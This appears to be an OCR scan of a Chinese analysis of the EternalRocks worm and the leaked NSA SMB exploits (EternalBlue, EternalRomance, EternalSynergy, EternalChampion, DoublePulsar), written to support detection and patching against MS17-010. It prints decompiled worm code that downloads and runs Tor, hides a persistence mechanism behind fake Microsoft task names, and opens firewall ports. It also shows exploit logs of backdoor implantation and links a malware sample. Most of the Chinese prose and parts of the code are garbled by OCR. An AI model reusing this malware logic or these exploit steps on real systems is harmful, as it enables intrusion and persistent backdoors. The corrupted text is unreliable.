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EternalRocks 3 %@ 1T MS17-010 SMB JilAfE#% . /B4 EternalRocks J5, 2 7E C:\Program
Files\Microsoft Updates H 3 FE— 14 N Updatelnstaller.exe [{)3C1F. 181T)5, BT
B net HEZE ) L BE 4 /4 TaskScheduler and SharpzLib. [A] I 7EA H 5% N B4 N
svchost.exe MIFEY: HEZINEEWIT:

(1) 7E[A Hx TR installed.fgh, HTHITRAE 1] /E taskhost.exe FIMA S .
(2) FIWr Tor THREGAE, NMEERKEM FE, FFACE tor .

1
if (!File.Exists(Globals.sInstallDirectory + "\\Tor\\tor.exe"))
{

string text = Globals.sInstallDirectory + "\\Temp";

if (!Directory.Exists(text))

Directory.CreateDirectory(text);

I
string text2 = Globals.sInstallDirectory + "\\Tor";
string fileName = text + "\\tor.zip";
try
{
ServicePointManager.ServerCertificateValidationCallback = {(object param@, X5@9Certificate paraml, X589Chain param2, SslPolicyErrors param3) =>
\ebClient webClient = new WebClient();
webClient.DownloadFile( "https://archive.torproject.org/tor-package-archive/torbrowser/4.8.1/tor -win32-tor-8.2.5.18.zip", fileName);
Process process - new Process();
process.StartInfo.FileName = Globals.sInstallDirectory + "\\torunzip.exe™;
process.Start();
process.WaitForExit();
Thread.5leep(38888) ;
Directory.Move(text + "\\Tor", text2);
if (!Directory.Exists(text2 + "\\hidden_service"))

Directory.CreateDirectory(text2 + "\\hidden_service");
1
éirectnryInfn directoryInfo = new DirectoryInfo(text2 + *\\hidden service");
DirectorySecurity accessControl = directoryInfo.GetAccessControl();
accessControl.AddAccessRule(new FileSystemAccessRule(new SecurityTdentifier(WellKnownSidType.Worldsid, null), FileSystemRights.FullContral, Inhe
directoryInfo.SetAccessControl(accessControl);
string text3 = string.Concat(new string[]

{
"SocksPort 9858\r\nSocksBindAddress 127.8.8.1%r\nAllowUnverifiedNodes middle,rendezveus\rinDataDirectory ",
text2.Replace(™\\", "/"),
"\r\nHiddenServiceDir ",
text2.Replace(™\\", "/"),
"/hidden_service/\r\nHiddenServicePort 57488 127.0.0.1:41375"

1):
s
File.WriteAllText(text2 + "\\torrc”, text3);
try
{
ProcessStartInfo processStartInfo = new ProcessStartInfo(text2 + "\\tor.exe", "--defaults-torrc \"" + text2 + "\\torrc\"");
processStartInfo.UseShellExecute = false;

(3) ¥ F#E Tor TH, svchost.exe LA J% taskhost.exe FRiNEiHRIES .

I
this.SetNewTask(3, 5, "Microsoft Service Host™, "Microsoft Serwvice Host", Globals.sInstallDirectory + "\\svchost.exe”, "\\Microseft\\Windows\\ServiceHost™);
this.SetNewTask(2, 5 crosoft Task Host”, Globals.sInstallDirectory + "\\taskhost.exe" rosoft\\Windows\\TaskHost");
this.SetNewTask(1 oft Tor Host", Globals.sInstallDirectory + " crosofti\\Windows\\Tcpip\\TorHost");
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http://api.nuget.org/packages/taskscheduler.2.5.23.nupkg
http://api.nuget.org/packages/sharpziplib.0.86.0.nupkg
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Hashtable listeningPorts = firewall.GetlisteningPorts();

Arraylist arraylist = (Arraylist)listeningPorts["TCP"];

Arraylist arraylist2 = (ArrayList)listeningPorts["UDP"];

firewall.DoFirewallRule("firewall add allowedprogram " + Globals.sInstallDirectery + "\\svchost.exe \"Micresoft Update Service\" ENABLE");

firewall.DoFirewallRule("firewall add allowedprogram " + Globals.sInstallDirectory + "\\taskhost.exe \"Microsoft Update Helper\" ENABLE");

firewall.DoFirewallRule("firewsll add allowedprogram " + Globals.sInstallDirectory + "\\Tor\\tor.exe \"Microsoft Update Installer\" ENABLE");
foreach (string texts in arraylist)

firewall.DoFirewallRule(string.Concat{new string[]

"firewall add portopening TCP ",/
texts,

" \"Open TCP Port ",

texts,

1y
1)
firewall.DoFirewallRule("advfirewall firewall add rule name=\"Open TCP Port " + text5 + "\" dir=in action=allow protocol=TCP localport=" + text5);
3

}
foreach (string text5 in arraylist2)
firewall.DoFirewallRule(string.Concat{new string[]

"firewall add portopening UDP ",
texts,

" \"Open UDP Port ",

texts,

1

s
firewall.DoFirewallRule("advfirewall firewall add rule name=\"Open UDP Port " + text5 + "\" dir=in action=allow protocol=UDP localport=" + text5);
3

}
firewall.DoFirewallRule("firewall set service fileandprint disable");

firewall.DoFirewallRule("advfirewall firewall add rule name=\"Malware SMB Block\" dir=in localport=445 protocel=TCP action=block”);
firewall.DoFirewallRule("firewall set opmode ENABLE");

(5) TEUH Tor 2 F RN M H ) C&C RS54, HHAE 24 /NN 2 J5 T #— 144 4 taskhost.exe
HIFET . AT RH CHBETRWE, FFRIN 7 oamiBE DT b9 e . 81T 57 H 3k MR
%N shadowbrokers.zip [ NSA ittt T E & 4a 0, FRREMERIREHX. k440N E5 3 4
H3%, 4394 payloads, configs il bins.

Bins HXFZAE T 7 /> NSA IR THA, (HARMHKEHE 4, U 2REN
ik T HANE G NSA T B AL ST AT RO 5

X4 NSA T BA R 42
wmiprvse.exe Eternalchampion-2.0.0.exe
csrss.exe Eternalblue-2.2.0.exe
taskmgr.exe Eternalromance-1.4.0.exe
spooler.exe Architouch-1.0.0.exe
msdtc.exe Smbtouch-1.1.1.exe

Isass.exe Eternalsynergy-1.0.1.exe
winlogon.exe Doublepulsar-1.3.1.exe

Configs H % FEALE 7 AN L E XN (I fc & At

& architouch.inconfig.xml| 2017/5/23 23:.07 XML 35 1 KB
= doublepulsar.inconfigaxml 2017/5/23 23:07 XML 376 5 KB
& eternalblue.inconfig.xml 2017/5/23 23:.07 XML 35 3 KB
= eternalchampion.inconfig.xml 2017/5/23 23:07 XML 376 10 KB
& eternalromance.inconfig.xml 2017/5/23 23:.07 XML 35 18 KB
= eternalsynergy.inconfigaxml 2017/5/23 23:07 XML 376 9 KB
£] smbtouch.inconfig.xml 2017/5/23 23:.07 XML 35 6 KB

Payloads H 3¢ FE 0 HE5 32 A1 F1 64 L R SulF) shellcode —HE | ST PA K B 4
AH dil S

%| ReflectivePick_x84.dll 2017/5/23 23:.07 E === 639 KB
1%/ ReflectivePick_x86.dll 2017/5/23 23:.07 MEEFTE 384 KB
| x64.shellcode.output 2017/5/23 23:07 OUTPUT Z2i¢ 41KB
|| x86.shellcode.output 2017/5/23 23:07 OUTPUT 30i¢ 4 KB

BATE, SBENVAER P bk, R NI 445 i, RS R 2 R B T Rk
T8, Buki ) R N R G (32 hLEE 64 A1) MIBIASEMABIHIR RS H . A


https://raw.githubusercontent.com/stamparm/EternalRocks/master/samples/70ec0e2b6f9ff88b54618a5f7fbd55b383cf62f8e7c3795c25e2f613bfddf45d
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FH2% NSA TR
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TH4% THRRH EEER
EternalBlue (KT Z W) SMBv1 YA A T A 2. 8.8.8.8 ¢
EternalRomance (KfHIRIE) SMBv1 A A T H Yk ke
EternalChampion (7KfH FE#) SMBv2 JEiFFI T A *
EternalSynergy CGKIEFME) sSMBv3 iR T A& * %
DoublePulsar CBUBK#H ) TR NEZHSET] 2.0.8.8.8.¢
Architouch SMB FRll T H
SMBTouch SMB R T H

HA RN 4 MwAEE TR
1. 7K1H2Z ¥ (EternalBlue)
IRIASZI 248 Windows XP, Windows Vista, Windows 7, Windows 8, Windows 10,
Windows 2000, Windows 2003, Windows 2008, Windows 2012
T HEIARSE: Windows XP (32 7). Windows 7 (32 il 64 i), Windows 2008 R2
(32 {311 64 fi7)
KRG FRBE “RIEZHE” THABZE, 2 “wannacry” ik 2R FH ) NSA JitFE T H,
FOXE R IR 5200 JL P-4 B AR Windows #E:1E R4 .
5 R EternalBlue T B X RIIRITREZ I 2 4t) 12 , {H EternalBlue - 32 241 %f Windows XP
(32 i)+ Windows 7 (32 {7l 64 £i7) LLK Windows 2008 R2 (32 fiifll 64 fi) FFBZHEAT
. HHXT Windows 7 FIBUERCR L NARE, HATTE Win7 BOARCE N TS . X
Win 7 RGN “wannacry” 521 5 5 FIEAE KRG IR A
JRIAFIHRIN G, EternalBlue ERiA{#H] DoublePulsar FE N T — MWL T XU G,
FHrr 482 H DoublePulsar T H 4k 4L [\ 445 EHLE N shellcode BLaIAS FES% .



Building exploit buffer
Sending all but last fragment of exploit packet

Sending SMB Echo request

Good reply from SMB Echo request
Starting non-paged pool grooming
[+] Sending SMBu2 buffers

[+] Sending large S$MBul buffer..DONE.

[+] Sending final SMBu2 buffers

[+] Closing SMBul connection creating free hole adjacent to $MBuZ buffer.
Sending SMB Echo request

Good reply from SMB Echo request

Sending last fragment of exploit packet!

DONE.

Receiving response from exploit packet

[+] ETERNALBLUE overwrite completed successfully (0xCOOEEEED)?
Sending egg to corrupted connection.

Triggering free of corrupted buffer.

Pinging backdoor. ..

[+] Backdoor returned code: 10 - Success!

[+] Ping returned Target architecture: x86 (32-bit)

[+] Backdoor installed

[*] CORE sent serialized output blob (2 bytes):
0x00000000 08 00

[*] Received output parameters from CORE

[+] Eternalblue Succeeded

2. 7KIHJEZ (EternalRomance)

RIS 2258: Windows XP, Windows Vista, Windows 7, Windows 8, Windows 10,
Windows 2000, Windows 2003, Windows 2008, Windows 2012

T HWAS: Windows XP(SPO~SP3 32 {7, SP1~SP2 64 1), Windows Server 2003
(SPO~SP2 32 £, SP1~SP2 64 fi7.), Windows Vista(4: /i <), Windows SERVER 2008 (4= i 4 ),
Windows 7 (4=fRAS) Windows SERVER 2008R2 (4=t A)

FRAEIRIE A 7 — N R G 2 ) TR (HHBUKE 2 W52 R 2, Br T Windows
XP SIRMRAERAE R G 4h, HARKZ BRAE RGEOAECE T R A B



[+] Success!
[+] Smb pipe and rpc setup complete
[%] Filling barrel with fish... done

Preparing dynamite...

[*] Trying stick 1 (x86)...BOOM!
Successfully Leaked Transaction!
Successfully caught Fish-in-a-barrel

[*] Attempting to find remote SRU module

[+] Reading from CONNECTION struct at: @x822CEDAS

[+] Found SRU global data pointer: B©xB24CACOC

[+] Locating function tables...
[+] Transaction2Dispatch Table at: ©xB24CAS598

[*] Installing DOUBLEPULSAR

[+] Leaked Npp Buffer to Execute at: Ox81CE2898

[*] shellcodeaddress = 81¢ce2998, shellcodefilesize=3655

[+] Backdoor shellcode written

[+] Backdeor function pointer overwritten
[*%] Executing DOUBLEPULSAR
[*] DOUBLEPULSAR should now be installed. The DOPU client can be used to verify
installation.
[%] Plugin completed successfully

[+] Contract: StagedUpload

[+] ConnectedTep: FFFFFFFF

[+] XorMask: 3¢

[+] TargetOsArchitecture: x86
[+] Eternalromance Succeeded

I A B J5 , EternalRomance [ A1 Bt AU A T DoublePulsar J&17], IR 4k
4 H|H DoublePulsar T. B4k S [r 4% EHUFEN shellcode BLaIA FESE
3. KIEWME(Eternalsynergy)

IR 245 : Windows 8, Windows 2012

T H ZR%: Windows 8 (64 fiL), Windows 2012 (64 fi7.)

AAEYMER I R G Eb, H 5 Windows 8 DL Windows 2012 24, H T HF A H
FIRRGEN) 64 A, JHAERFHINGRE T EF ).




[=%] Attempting to find remote SRU module
[+] Reading from CONNECTION struct at: OxFFFFFAS01A942920
[+] Found SRU global data pointer: OxFFFFF880BEOEBFAR
[+] Locating function tables...
[+] Transaction2Dispatch Table at: OxFFFFF880O60EG920

[*] Beginning quest for executable memory. ..
[+] PreferredilorkQueue: FFFFFA8G1ABSA100
[+] IrpThread: FFFFFA801ABE4880O
[+] KProcess: FFFFFA8018C88040
[+] ProcessListEntry.Blink: FFFFF802834D2C80
[+] Searching backwards. .
[+] Base of Nt: FFFFF80283201000
[+] Found RWX memory!!! FFFFF80283472000

[*] Copying code to target
[+] Backdoor shellcode written
[*] Triggering stub allocator
[+] Backdoor function pointer ocveruritten
[+] Cleared RUWX region
[*] Triggering DOUBLEPULSAR installer
[*] DOUBLEPULSAR should now be installed. The DOPU client can be used to verify
installation.

[+] Plugin completed successfully
[+] Contract: StagedUpload
[+] ConnectedTcp: FFFFFFFF
[+] XorMask: B¢
[+] TargetOsArchitecture: x64
Eternalsynergy Succeeded

JRIEAH I 5, Eternalsynergy [FEIFfE R # B FHLUAE N DoublePulsar J517], FfrI4kst
FIFl DoublePulsar T H 4k i 4% LA shellcode Biah# % .

4. 7k18 ¥ (EternalChampion)

T HFW &A% : Windows XP(SPO~SP3 32 £, SP1~SP2 64 fi) , Windows Server 2003
(SPO~SP2 32 £, SP1~SP2 64 £ ), Windows Vista(4=hit4) , Windows SERVER 2008 ( 4=kt A<D,
Windows 7 (4fii4<), Windows SERVER 2008R2 (4:ffiZ4<), Windows 8 (4hiiA<)

ACHE 35 P — A e 4 2RI« BRI S 3 R, Hi% TR
B AR

EternalChampion iP5, [FIFERT4k4EHIH DoublePulsar T.H 4k 45 [m 4 4% EALHE A
shellcode B{ 84S S .



Connecting to target
[+] Connection established

Initializing SMB connection
[+] SHMB session established
[+] SHB setup complete

Attempting information leak (sync)

Successfully leaked transaction!
Conn: 0OROOOEO8ICAATSS

Sending shellcode to target
[+] successfully sent

Preparing to exploit...

Let the races begint

Competition 1:
4 attempting++++
4 qualified for the finals
None won :(

Competition 2:
4 attempting++++
4 qualified for the finals
None won :(

Competition 3:
4 attempting++++
4 qualified for the finals
None won :{
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EternalBlue TCP_NSA_EternalBlue_( 7k {H < ¥ )_SMB iz £ 18 13 $4 17 I T
[MS17-010];

TCP_NSA_EternalBlue_( 7k 1H 2 #)_SMB izt 2 X 13 $4 17 I T
_shellcode fH A\ ;

TCP_NSA_EternalBlue_( 7k 15 <2 ¥ )_SMB & W F H
(win7/2008-x64);

TCP_NSA_EternalBlue_( 7k 15 2 # ). sSmMB & Wi #] A
(win8.1/2012-x64)

EternalRomance TCP_NSA_EternalRomance_ (7K fEIRE) SMB izt F2 AL $0 AT R 1Al
[MS17-010];
EternalSynergy TCP_NSA_SMB P25 AT IR shellcode fEA
EternalChampion TCP_NSA_SMB P25 AT IR shellcode fEA
DoublePulsar TCP_NSA_Windows_SMB_DoublePulsar i A\ %)

2. I EEET MS17-010 Y £h T AT Bl i _E i I dIr 71 >R A0 7 A B o
WK S JTEEFE . https://technet.microsoft.com/zh-cn/library/security/MS17-010



